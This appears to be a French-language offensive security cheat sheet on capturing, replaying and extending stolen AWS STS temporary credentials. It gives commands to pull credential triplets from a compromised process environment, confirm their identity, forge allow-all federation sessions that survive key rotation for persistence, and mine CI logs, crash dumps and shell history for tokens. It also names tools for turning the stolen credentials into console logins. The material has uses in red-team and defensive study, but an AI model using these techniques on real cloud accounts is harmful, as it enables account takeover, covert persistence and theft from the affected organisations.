Les identifiants STS temporaires forment un triplet : une clé d'accès préfixée ASIA, un secret et un jeton de session, avec une expiration. C'est ce que les rôles, la fédération et le service de métadonnées distribuent, et ils sont réutilisables depuis n'importe où jusqu'à leur expiration ; aussi, les subtiliser dans un processus, une ligne de journal ou une variable d'environnement suffit souvent à poursuivre en tant que principal.
Capturer et rejouer#
# in a compromised process environment
env | grep -E 'AWS_(ACCESS_KEY_ID|SECRET_ACCESS_KEY|SESSION_TOKEN)'
export AWS_ACCESS_KEY_ID=ASIA... \
AWS_SECRET_ACCESS_KEY=... \
AWS_SESSION_TOKEN=...
aws sts get-caller-identity # confirm identity and that it is still valid
Vérifier la portée et la durée de vie#
aws sts get-caller-identity # the assumed-role ARN tells you what you are
# decode the token's expiry from the source that issued it (role max-session-duration)
Forger et prolonger des sessions#
Détenir la clé à long terme d'un utilisateur permet à STS de forger de nouvelles sessions à utiliser ailleurs :
# MFA-gated session, where a policy requires MFA for the actions you want
aws sts get-session-token --serial-number <mfa-arn> --token-code 123456
# a scoped session that also feeds a console URL; GetFederationToken
# sessions last up to 36 hours
aws sts get-federation-token --name op \
--policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
GetFederationToken est un levier de persistance discret : le triplet qu'il renvoie alimente une URL de connexion à la console (voir credential brokers) et continue de fonctionner après la rotation de la clé d'origine, pour toute la durée de vie du jeton.
Notes d'exploitation#
- Lorsqu'un appel d'API est refusé avec un message d'autorisation encodé,
aws sts decode-authorization-message --encoded-message <msg>révèle l'action exacte échouée et le contexte de stratégie, cartographiant rapidement les limites du principal. - Les clés
ASIAsans le jeton de session sont inutiles ; récupérez toujours les trois éléments. - Les jetons issus d'un enchaînement de rôles sont plafonnés à une heure ; les jetons issus d'une assumption directe peuvent durer jusqu'à la durée de session maximale du rôle.
- Les identifiants de session apparaissent souvent dans les journaux de CI, les vidages sur incident et l'historique du shell, sources plus discrètes que la mémoire vive.
Outils#
- AWS CLI (
sts get-caller-identity,get-session-token,get-federation-token,decode-authorization-message). - aws_consoler (NetSPI) : convertir un triplet de session en URL de connexion à la console.
- Pacu : importer des identifiants de session et poursuivre l'énumération.